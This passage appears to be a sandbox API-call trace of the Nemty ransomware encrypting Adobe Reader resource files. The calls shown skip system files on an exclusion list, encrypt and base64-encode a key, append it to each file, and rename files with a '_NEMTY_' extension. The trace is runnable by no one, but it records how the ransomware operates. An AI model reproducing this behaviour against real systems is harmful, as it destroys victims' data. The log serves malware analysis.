(lpString1="DisplayLanguageNames.el_GR.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="rsa") returned -1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="NTDETECT.COM") returned -1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="ntldr") returned -1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="MSDOS.SYS") returned -1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="IO.SYS") returned -1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="boot.ini") returned 1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="boot.ini") returned 1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.145] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="ntuser.dat") returned -1 [0215.145] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="desktop.ini") returned 1 [0215.145] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="CONFIG.SYS") returned 1 [0215.145] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="RECYCLER") returned -1 [0215.145] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.145] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="bootmgr") returned 1 [0215.145] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="programdata") returned -1 [0215.145] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="appdata") returned 1 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.145] Sleep (dwMilliseconds=0x5) [0215.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33e0f750, dwHighDateTime=0x1d561e8)) [0215.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33e0f750, dwHighDateTime=0x1d561e8)) [0215.153] GetLastError () returned 0x0 [0215.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.153] GetLastError () returned 0x0 [0215.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.153] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.153] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.154] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.154] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="PPdjGtqi7t1FyknOWSzW8h2cxQA7me9Ydna3/2FIh5DTj6f/ZgrQqhly7M43gz4i\r\n9ocnX7pSUK/1LOuHVpBI7wiJT/5fnQm2fKrjOM96Ua2mA6CsPisCSGwoqEHjMCg7\r\noShTb5b8wA0ced+KS3trosHwh43m3ofCE1NzPd6r1NEIdBQdl4Xne90jRrePzPmc\r\nZakDAwmo3kOUDlT9t4k5pGrWm/20NxiK2WcBwNmkEiF2cHEUcgtYmbqDKan1BDD7\r\nuF3DWBNBHNHDszcr0L3xrr/7Hw3ejJmu5f3+bBOCwXzsmTSuQFhd7tSm6zNBP64K\r\nEL0nloerXaposu25zd+yyQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.154] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28306) returned 1 [0215.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e90) returned 0x6352c48 [0215.154] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.154] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e90, lpOverlapped=0x0) returned 1 [0215.158] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.158] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e90, lpOverlapped=0x0) returned 1 [0215.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.158] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28306, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e92 [0215.158] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.158] CloseHandle (hObject=0x2e8) returned 1 [0215.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.158] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt._nemty_kgobjgd_")) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.159] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e76, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.el_GR_PREEURO.txt", cAlternateFileName="DI8CEE~1.TXT")) returned 1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2=".") returned 1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="..") returned 1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="...") returned 1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="windows") returned -1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="rsa") returned -1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="ntldr") returned -1 [0215.159] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="IO.SYS") returned -1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="desktop.ini") returned 1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="RECYCLER") returned -1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="bootmgr") returned 1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="programdata") returned -1 [0215.160] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR_PREEURO.txt", lpString2="appdata") returned 1 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x63400a0 [0215.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400a0 | out: hHeap=0x4f90000) returned 1 [0215.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0215.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0215.161] Sleep (dwMilliseconds=0x5) [0215.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33e358b0, dwHighDateTime=0x1d561e8)) [0215.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33e358b0, dwHighDateTime=0x1d561e8)) [0215.169] GetLastError () returned 0x0 [0215.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.169] GetLastError () returned 0x0 [0215.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.169] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.169] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.169] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.169] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="E2C6+3gN5iEzjMWhZHbEGEyW+RstUs8UHz7yS/ILkaD03yvVkKxpKoLG6ZpcYP5B\r\nwJZX4/ovlxXRmEnJpumBCXahkxJae6cOo4cnOKapv3tRZP5PhXj2JL0GtCZFT/Re\r\nKSbUobowP4Klzg9jWeBzOhcOPxa++xy1QGdUHqBlvCgDNA+Xi+G8C5EwAB7oPzY1\r\ng0vMnmzBSXcwEpvU/R9UkQOzMsCTzISguvvrM8MIPqbV1RuEYHlfo5HcQ7GOjRpB\r\nJ+GLw08G7i18/khsuaO+j9XwBkUtAB6ow4qhkIrkd4SlAxxmaEWmtSGuvSwKVX5K\r\n/ATw7bvNmlLwsb/NzK6QRQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.169] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.170] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28278) returned 1 [0215.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e70) returned 0x6352c48 [0215.170] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.170] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e70, lpOverlapped=0x0) returned 1 [0215.174] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.174] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e70, lpOverlapped=0x0) returned 1 [0215.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 